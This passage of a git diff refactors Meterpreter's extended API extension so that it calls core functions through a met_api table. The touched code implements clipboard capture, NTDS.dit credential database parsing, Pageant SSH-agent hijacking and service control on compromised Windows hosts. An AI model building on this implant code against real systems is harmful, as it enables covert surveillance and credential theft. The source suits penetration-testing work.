TLV_TYPE_EXT_ADSI_DN, pDnGroup); break; } case ADSTYPE_DN_WITH_STRING: { - Packet* pDnGroup = packet_create_group(); + Packet* pDnGroup = met_api->packet.create_group(); PADS_DN_WITH_STRING pds = col.pADsValues->pDNWithString; dprintf("[ADSI] DN with string"); - packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszDNString); - packet_add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszStringValue); - packet_add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup); + met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszDNString); + met_api->packet.add_tlv_wstring(pDnGroup, TLV_TYPE_EXT_ADSI_STRING, pds->pszStringValue); + met_api->packet.add_group(pGroup, TLV_TYPE_EXT_ADSI_DN, pDnGroup); break; } @@ -419,7 +420,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, // this is a string of some kind dprintf("[ADSI] Unhandled ADSI type %u (%x), adding unknown", col.dwADsType, col.dwADsType); sprintf_s(value, VALUE_SIZE, "(unhandled ADSI type %u)", col.dwADsType); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, value); break; } } @@ -429,7 +430,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, else { dprintf("[ADSI] Col read failed: %x", hr); - packet_add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, ""); + met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_ADSI_STRING, ""); } dwIndex++; @@ -439,7 +440,7 @@ DWORD domain_query(LPCWSTR lpwDomain, LPWSTR lpwFilter, LPWSTR* lpwQueryCols, { dprintf("[ADSI] Adding group packet of %u values", dwIndex); // Throw the user details together in a group, ready to return. - packet_add_group(response, TLV_TYPE_EXT_ADSI_RESULT, pGroup); + met_api->packet.add_group(response, TLV_TYPE_EXT_ADSI_RESULT, pGroup); dprintf("[ADSI] Added group packet of %u values", dwIndex); } else diff --git a/c/meterpreter/source/extensions/extapi/clipboard.c b/c/meterpreter/source/extensions/extapi/clipboard.c index 61d40b52..170f98b5 100644 --- a/c/meterpreter/source/extensions/extapi/clipboard.c +++ b/c/meterpreter/source/extensions/extapi/clipboard.c @@ -3,7 +3,8 @@ * @brief Definitions for clipboard interaction functionality. */ #include "extapi.h" -#include "../../common/thread.h" +#include "common.h" +#include "common_metapi.h" #include "clipboard.h" #include "clipboard_image.h" @@ -300,7 +301,7 @@ VOID destroy_clipboard_monitor_capture(ClipboardCaptureList* pCaptureList, BOOL if (bRemoveLock && pCaptureList->pClipboardCaptureLock) { - lock_destroy(pCaptureList->pClipboardCaptureLock); + met_api->lock.destroy(pCaptureList->pClipboardCaptureLock); pCaptureList->pClipboardCaptureLock = NULL; } @@ -331,7 +332,7 @@ VOID timestamp_to_string(SYSTEMTIME* pTime, char buffer[40]) VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL bCaptureImageData) { ClipboardFile* pFile; - Packet* group = packet_create_group(); + Packet* group = met_api->packet.create_group(); TlvType groupType; Packet* file = NULL; char timestamp[40]; @@ -341,21 +342,21 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL memset(timestamp, 0, sizeof(timestamp)); timestamp_to_string(&pCapture->stCaptureTime, timestamp); - packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp); + met_api->packet.add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP, timestamp); dprintf("[EXTAPI CLIPBOARD] Timestamp added: %s", timestamp); switch (pCapture->captureType) { case CapText: dprintf("[EXTAPI CLIPBOARD] Dumping text %s", pCapture->lpText); - packet_add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)")); + met_api->packet.add_tlv_string(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT, (PUCHAR)(pCapture->lpText ? pCapture->lpText : "(null - clipboard was cleared)")); groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT; break; case CapImage: dprintf("[EXTAPI CLIPBOARD] Dumping image %ux%x", pCapture->lpImage->dwWidth, pCapture->lpImage->dwHeight); - packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth); - packet_add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight); - packet_add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize); + met_api->packet.add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX, pCapture->lpImage->dwWidth); + met_api->packet.add_tlv_uint(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY, pCapture->lpImage->dwHeight); + met_api->packet.add_tlv_raw(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA, pCapture->lpImage->lpImageContent, pCapture->lpImage->dwImageSize); groupType = TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG; break; case CapFiles: @@ -364,16 +365,16 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL while (pFile) { dprintf("[EXTAPI CLIPBOARD] Dumping file %p", pFile); - file = packet_create_group(); + file = met_api->packet.create_group(); dprintf("[EXTAPI CLIPBOARD] Adding path %s", pFile->lpPath); - packet_add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath); + met_api->packet.add_tlv_string(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME, pFile->lpPath); dprintf("[EXTAPI CLIPBOARD] Adding size %llu", pFile->qwSize); - packet_add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize); + met_api->packet.add_tlv_qword(file, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE, pFile->qwSize); dprintf("[EXTAPI CLIPBOARD] Adding group"); - packet_add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file); + met_api->packet.add_group(group, TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE, file); pFile = pFile->pNext; dprintf("[EXTAPI CLIPBOARD] Moving to next"); @@ -382,7 +383,7 @@ VOID dump_clipboard_capture(Packet* pResponse, ClipboardCapture* pCapture, BOOL break; } - packet_add_group(pResponse, groupType, group); + met_api->packet.add_group(pResponse, groupType, group); } /*! @@ -397,7 +398,7 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu { ClipboardCapture* pCapture = NULL; - lock_acquire(pCaptureList->pClipboardCaptureLock); + met_api->lock.acquire(pCaptureList->pClipboardCaptureLock); pCapture = pCaptureList->pHead; while (pCapture) { @@ -409,7 +410,7 @@ VOID dump_clipboard_capture_list(Packet* pResponse, ClipboardCaptureList* pCaptu { destroy_clipboard_monitor_capture(pCaptureList, FALSE); } - lock_release(pCaptureList->pClipboardCaptureLock); + met_api->lock.release(pCaptureList->pClipboardCaptureLock); } /*! @@ -429,7 +430,7 @@ BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList) ClipboardFile* pNewFiles = NULL; BOOL bResult = FALSE; - lock_acquire(pList->pClipboardCaptureLock); + met_api->lock.acquire(pList->pClipboardCaptureLock); do { @@ -501,7 +502,7 @@ BOOL is_duplicate(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList) } } while (0); - lock_release(pList->pClipboardCaptureLock); + met_api->lock.release(pList->pClipboardCaptureLock); return bResult; } @@ -520,7 +521,7 @@ BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList* return FALSE; } - lock_acquire(pList->pClipboardCaptureLock); + met_api->lock.acquire(pList->pClipboardCaptureLock); pNewCapture->pNext = NULL; if (pList->pTail == NULL) @@ -533,7 +534,7 @@ BOOL add_clipboard_capture(ClipboardCapture* pNewCapture, ClipboardCaptureList* pList->pTail = pList->pTail->pNext = pNewCapture; } pList->dwClipboardDataSize += pNewCapture->dwSize; - lock_release(pList->pClipboardCaptureLock); + met_api->lock.release(pList->pClipboardCaptureLock); return TRUE; } @@ -931,7 +932,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) DWORD dwResult; ClipboardCapture* pCapture = NULL; BOOL bDownload = FALSE; - Packet *pResponse = packet_create_response(packet); + Packet *pResponse = met_api->packet.create_response(packet); do { @@ -941,7 +942,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data"); } - bDownload = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD); + bDownload = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD); if ((dwResult = capture_clipboard(bDownload, &pCapture)) != ERROR_SUCCESS) { @@ -960,7 +961,7 @@ DWORD request_clipboard_get_data(Remote *remote, Packet *packet) if (pResponse) { dprintf("[EXTAPI CLIPBOARD] sending response"); - packet_transmit_response(dwResult, remote, pResponse); + met_api->packet.transmit_response(dwResult, remote, pResponse); } return dwResult; @@ -993,7 +994,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet) BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data"); } - if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)) == NULL) + if ((lpClipString = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)) == NULL) { BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER); } @@ -1047,7 +1048,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet) pGlobalFree(hClipboardData); } - packet_transmit_empty_response(remote, packet, dwResult); + met_api->packet.transmit_empty_response(remote, packet, dwResult); return dwResult; } @@ -1082,7 +1083,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread) // signal to the caller that our thread has started dprintf("[EXTAPI CLIPBOARD] Thread started"); pState->bRunning = TRUE; - event_signal(pState->hResponseEvent); + met_api->event.signal(pState->hResponseEvent); waitableHandles[0] = thread->sigterm->handle; waitableHandles[1] = pState->hPauseEvent->handle; @@ -1106,13 +1107,13 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread) dprintf("[EXTAPI CLIPBOARD] Thread paused"); pState->bRunning = FALSE; // indicate that we've paused - event_signal(pState->hResponseEvent); + met_api->event.signal(pState->hResponseEvent); break; case 2: // resume the thread dprintf("[EXTAPI CLIPBOARD] Thread resumed"); pState->bRunning = TRUE; // indicate that we've resumed - event_signal(pState->hResponseEvent); + met_api->event.signal(pState->hResponseEvent); break; default: // timeout, so pump messages @@ -1129,7 +1130,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread) // and we're done, switch off, and tell the caller we're done pState->bRunning = FALSE; destroy_clipboard_monitor_window(pState); - event_signal(pState->hResponseEvent); + met_api->event.signal(pState->hResponseEvent); dprintf("[EXTAPI CLIPBOARD] Thread stopped"); } while (0); @@ -1149,19 +1150,19 @@ VOID destroy_clipboard_monitor_state(ClipboardState** ppState) ClipboardState* pState = *ppState; if (pState->hThread != NULL) { - thread_destroy(pState->hThread); + met_api->thread.destroy(pState->hThread); } if (pState->hPauseEvent != NULL) { - event_destroy(pState->hPauseEvent); + met_api->event.destroy(pState->hPauseEvent); } if (pState->hResumeEvent != NULL) { - event_destroy(pState->hResumeEvent); + met_api->event.destroy(pState->hResumeEvent); } if (pState->hResponseEvent != NULL) { - event_destroy(pState->hResponseEvent); + met_api->event.destroy(pState->hResponseEvent); } destroy_clipboard_monitor_capture(&pState->captureList, TRUE); @@ -1206,7 +1207,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet) dprintf("[EXTAPI CLIPBOARD] pState %p", pState); memset(pState, 0, sizeof(ClipboardState)); - lpClassName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS); + lpClassName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS); if (lpClassName == NULL || strlen(lpClassName) == 0) { BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Window class name is missing", ERROR_INVALID_PARAMETER); @@ -1215,12 +1216,12 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet) strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1); dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass); - pState->bCaptureImageData = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); + pState->bCaptureImageData = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); - pState->hPauseEvent = event_create(); - pState->hResumeEvent = event_create(); - pState->hResponseEvent = event_create(); - pState->captureList.pClipboardCaptureLock = lock_create(); + pState->hPauseEvent = met_api->event.create(); + pState->hResumeEvent = met_api->event.create(); + pState->hResponseEvent = met_api->event.create(); + pState->captureList.pClipboardCaptureLock = met_api->lock.create(); if (pState->hPauseEvent == NULL || pState->hResumeEvent == NULL @@ -1229,7 +1230,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet) BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard events", ERROR_NOT_ENOUGH_MEMORY); } - pState->hThread = thread_create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL); + pState->hThread = met_api->thread.create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL); if (pState->hThread == NULL) { @@ -1237,10 +1238,10 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet) } gClipboardState = pState; - thread_run(pState->hThread); + met_api->thread.run(pState->hThread); // 4 seconds should be long enough for the thread to indicate it's started, if not, bomb out - if (!event_poll(pState->hResponseEvent, 4000)) + if (!met_api->event.poll(pState->hResponseEvent, 4000)) { BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread failed to start correctly", ERROR_ABANDONED_WAIT_0); } @@ -1262,7 +1263,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet) gClipboardState = NULL; } - packet_transmit_empty_response(remote, packet, dwResult); + met_api->packet.transmit_empty_response(remote, packet, dwResult); return dwResult; } @@ -1276,8 +1277,8 @@ DWORD clipboard_monitor_pause(ClipboardState* pState) { if (pState->bRunning) { - event_signal(pState->hPauseEvent); - event_poll(pState->hResponseEvent, INFINITE); + met_api->event.signal(pState->hPauseEvent); + met_api->event.poll(pState->hResponseEvent, INFINITE); } return ERROR_SUCCESS; @@ -1292,8 +1293,8 @@ DWORD clipboard_monitor_resume(ClipboardState* pState) { if (!pState->bRunning) { - event_signal(pState->hResumeEvent); - event_poll(pState->hResponseEvent, INFINITE); + met_api->event.signal(pState->hResumeEvent); + met_api->event.poll(pState->hResponseEvent, INFINITE); } return ERROR_SUCCESS; @@ -1321,7 +1322,7 @@ DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet) dwResult = clipboard_monitor_pause(gClipboardState); } while (0); - packet_transmit_empty_response(remote, packet, dwResult); + met_api->packet.transmit_empty_response(remote, packet, dwResult); return dwResult; } @@ -1348,7 +1349,7 @@ DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet) dwResult = clipboard_monitor_resume(gClipboardState); } while (0); - packet_transmit_empty_response(remote, packet, dwResult); + met_api->packet.transmit_empty_response(remote, packet, dwResult); return dwResult; } @@ -1364,7 +1365,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet) DWORD dwResult = ERROR_SUCCESS; BOOL bDump = TRUE; BOOL bIncludeImages = TRUE; - Packet *pResponse = packet_create_response(packet); + Packet *pResponse = met_api->packet.create_response(packet); do { @@ -1374,18 +1375,18 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet) } dprintf("[EXTAPI CLIPBOARD] Stopping clipboard monitor"); - bDump = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP); - bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); + bDump = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP); + bIncludeImages = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); // now stop the show - event_signal(gClipboardState->hThread->sigterm); + met_api->event.signal(gClipboardState->hThread->sigterm); // if they don't terminate in a reasonable period of time... - if (!event_poll(gClipboardState->hResponseEvent, 10000)) + if (!met_api->event.poll(gClipboardState->hResponseEvent, 10000)) { // ... FINISH HIM! dprintf("[EXTAPI CLIPBOARD] Brutally terminating the thread for not responding fast enough"); - thread_kill(gClipboardState->hThread); + met_api->thread.kill(gClipboardState->hThread); } if (bDump) @@ -1397,7 +1398,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet) dwResult = ERROR_SUCCESS; } while (0); - packet_transmit_response(dwResult, remote, pResponse); + met_api->packet.transmit_response(dwResult, remote, pResponse); return dwResult; } @@ -1413,7 +1414,7 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet) DWORD dwResult = ERROR_SUCCESS; BOOL bIncludeImages = TRUE; BOOL bPurge = TRUE; - Packet *pResponse = packet_create_response(packet); + Packet *pResponse = met_api->packet.create_response(packet); do { @@ -1421,8 +1422,8 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet) { BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE); } - bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); - bPurge = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE); + bIncludeImages = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA); + bPurge = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE); dprintf("[EXTAPI CLIPBOARD] Purging? %s", bPurge ? "TRUE" : "FALSE"); @@ -1430,15 +1431,15 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet) if (bPurge) { - lock_acquire(gClipboardState->captureList.pClipboardCaptureLock); + met_api->lock.acquire(gClipboardState->captureList.pClipboardCaptureLock); destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE); - lock_release(gClipboardState->captureList.pClipboardCaptureLock); + met_api->lock.release(gClipboardState->captureList.pClipboardCaptureLock); } dwResult = ERROR_SUCCESS; } while (0); - packet_transmit_response(dwResult, remote, pResponse); + met_api->packet.transmit_response(dwResult, remote, pResponse); return dwResult; } @@ -1454,7 +1455,7 @@ DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet) DWORD dwResult = ERROR_SUCCESS; BOOL bIncludeImages = TRUE; BOOL bPurge = TRUE; - Packet *pResponse = packet_create_response(packet); + Packet *pResponse = met_api->packet.create_response(packet); do { @@ -1463,14 +1464,14 @@ DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet) BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE); } - lock_acquire(gClipboardState->captureList.pClipboardCaptureLock); + met_api->lock.acquire(gClipboardState->captureList.pClipboardCaptureLock); destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE); - lock_release(gClipboardState->captureList.pClipboardCaptureLock); + met_api->lock.release(gClipboardState->captureList.pClipboardCaptureLock); dwResult = ERROR_SUCCESS; } while (0); - packet_transmit_response(dwResult, remote, pResponse); + met_api->packet.transmit_response(dwResult, remote, pResponse); return dwResult; } diff --git a/c/meterpreter/source/extensions/extapi/extapi.c b/c/meterpreter/source/extensions/extapi/extapi.c index fe1d24f1..d34d1bf7 100644 --- a/c/meterpreter/source/extensions/extapi/extapi.c +++ b/c/meterpreter/source/extensions/extapi/extapi.c @@ -2,12 +2,13 @@ * @file extapi.h * @brief Entry point and intialisation definitions for the extended API extension. */ -#include "../../common/common.h" +#include "common.h" + +#include "common_metapi.h" + +// Required so that use of the API works. +MetApi* met_api = NULL; -#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h" -// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function -// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the -// second stage reflective dll inject payload and not the metsrv itself when it loads extensions. #include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c" #include "window.h" @@ -18,9 +19,6 @@ #include "ntds.h" #include "pageantjacker.h" -// this sets the delay load hook function, see DelayLoadMetSrv.h -EnableDelayLoadMetSrv(); - /*! @brief List of commands that the extended API extension providers. */ Command customCommands[] = { @@ -45,14 +43,15 @@ Command customCommands[] = /*! * @brief Initialize the server extension. + * @param api Pointer to the Meterpreter API structure. * @param remote Pointer to the remote instance. * @return Indication of success or failure. */ -DWORD __declspec(dllexport) InitServerExtension(Remote *remote) +DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote) { - hMetSrv = remote->met_srv; + met_api = api; - command_register_all(customCommands); + met_api->command.register_all(customCommands); initialise_clipboard(); initialise_service(); @@ -67,7 +66,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote) */ DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote) { - command_deregister_all(customCommands); + met_api->command.deregister_all(customCommands); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/extapi/ntds.c b/c/meterpreter/source/extensions/extapi/ntds.c index 6dc8b755..4d237de2 100755 --- a/c/meterpreter/source/extensions/extapi/ntds.c +++ b/c/meterpreter/source/extensions/extapi/ntds.c @@ -3,6 +3,7 @@ * @brief NTDS channel interface */ #include "extapi.h" +#include "common_metapi.h" #define JET_VERSION 0x0501 @@ -28,10 +29,10 @@ typedef struct // The user interacts with the NTDS database through that channel from that point on. DWORD ntds_parse(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD res = ERROR_SUCCESS; struct jetState *ntdsState = calloc(1,sizeof(struct jetState)); - PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH); + PCHAR filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH); // Check if the File exists if (0xffffffff == GetFileAttributes(filePath)) { res = 2; @@ -149,7 +150,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet) chops.native.context = ctx; chops.native.close = ntds_channel_close; chops.read = ntds_channel_read; - if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops))) + if (!(newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops))) { res = ERROR_NOT_ENOUGH_MEMORY; free(accountColumns); @@ -159,11 +160,11 @@ DWORD ntds_parse(Remote *remote, Packet *packet) goto out; } - channel_set_type(newChannel, "ntds"); - packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel)); + met_api->channel.set_type(newChannel, "ntds"); + met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel)); out: - packet_transmit_response(res, remote, response); + met_api->packet.transmit_response(res, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/extapi/ntds_jet.c b/c/meterpreter/source/extensions/extapi/ntds_jet.c index 064895d7..81e61e3e 100644 --- a/c/meterpreter/source/extensions/extapi/ntds_jet.c +++ b/c/meterpreter/source/extensions/extapi/ntds_jet.c @@ -3,6 +3,7 @@ * @brief Definitions for NTDS Jet Engine functions */ #include "extapi.h" +#include "common_metapi.h" #define JET_VERSION 0x0501 @@ -246,7 +247,7 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns return readStatus; } - char *accountNameStr = wchar_to_utf8(accountName); + char *accountNameStr = met_api->string.wchar_to_utf8(accountName); if (accountNameStr) { strncpy_s(userAccount->accountName, ACCOUNT_NAME_SIZE, accountNameStr, ACCOUNT_NAME_SIZE - 1); free(accountNameStr); @@ -262,7 +263,7 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns return readStatus; } - char *accountDescriptionStr = wchar_to_utf8(accountDescription); + char *accountDescriptionStr = met_api->string.wchar_to_utf8(accountDescription); if (accountDescriptionStr) { strncpy_s(userAccount->accountDescription, ACCOUNT_DESC_SIZE, accountDescriptionStr, ACCOUNT_DESC_SIZE - 1); free(accountDescriptionStr); diff --git a/c/meterpreter/source/extensions/extapi/pageantjacker.c b/c/meterpreter/source/extensions/extapi/pageantjacker.c index bf83d864..8bd86fa5 100644 --- a/c/meterpreter/source/extensions/extapi/pageantjacker.c +++ b/c/meterpreter/source/extensions/extapi/pageantjacker.c @@ -3,6 +3,7 @@ * @brief Entry point and intialisation functionality for the pageantjacker extention. */ #include "extapi.h" +#include "common_metapi.h" #include "pageantjacker.h" #include @@ -173,14 +174,14 @@ out: DWORD request_pageant_send_query(Remote *remote, Packet *packet) { - Packet *response = packet_create_response(packet); + Packet *response = met_api->packet.create_response(packet); DWORD rawDataSizeIn = 0; - Byte *rawDataIn = NULL; + byte *rawDataIn = NULL; PAGEANTQUERYRESULTS results = { 0 }; // Retrieve from metasploit - rawDataSizeIn = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN); - rawDataIn = packet_get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN); + rawDataSizeIn = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN); + rawDataIn = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN); dprintf("[PJ(request_pageant_send_query)] Size in: %d. Data is at 0x%p", rawDataSizeIn, rawDataIn); @@ -194,9 +195,9 @@ DWORD request_pageant_send_query(Remote *remote, Packet *packet) send_query_to_pageant(rawDataIn, rawDataSizeIn, (PAGEANTQUERYRESULTS *) &results); // Build the packet based on the respones from the Pageant interaction. - packet_add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result); - packet_add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength); - packet_add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage); + met_api->packet.add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result); + met_api->packet.add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength); + met_api->packet.add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage); dprintf("[PJ(request_pageant_send_query)] Success: %d. Return data len " "%d, data is at 0x%p. Error message at 0x%p (%d)", results.result, results.bloblength, results.blob, @@ -205,7 +206,7 @@ DWORD request_pageant_send_query(Remote *remote, Packet *packet) free(results.blob); // Transmit the packet to metasploit - packet_transmit_response(ERROR_SUCCESS, remote, response); + met_api->packet.transmit_response(ERROR_SUCCESS, remote, response); return ERROR_SUCCESS; } diff --git a/c/meterpreter/source/extensions/extapi/service.c b/c/meterpreter/source/extensions/extapi/service.c index 6bd02c75..d812d757 100644 --- a/c/meterpreter/source/extensions/extapi/service.c +++ b/c/meterpreter/source/extensions/extapi/service.c @@ -4,6 +4,7 @@ */ #include "extapi.h" #include "service.h" +#include "common_metapi.h" #include @@ -189,7 +190,7 @@ DWORD request_service_control(Remote *remote, Packet *packet) LPSTR lpServiceName = NULL; ServiceOperation eServiceOp = 0; DWORD dwResult = ERROR_SUCCESS; - Packet * response = packet_create_response(packet); + Packet * response = met_api->packet.create_response(packet); do { @@ -200,13 +201,13 @@ DWORD request_service_control(Remote *remote, Packet *packet) break; } - lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_CTRL_NAME); + lpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_CTRL_NAME); if (!lpServiceName) { BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER); } - eServiceOp = (ServiceOperation)packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_SERVICE_CTRL_OP); + eServiceOp = (ServiceOperation)met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_SERVICE_CTRL_OP); if (eServiceOp == 0) { BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service operation parameter", ERROR_INVALID_PARAMETER); @@ -220,7 +221,7 @@ DWORD request_service_control(Remote *remote, Packet *packet) dprintf("[EXTAPI SERVICE] Transmitting response back to caller."); if (response) { - 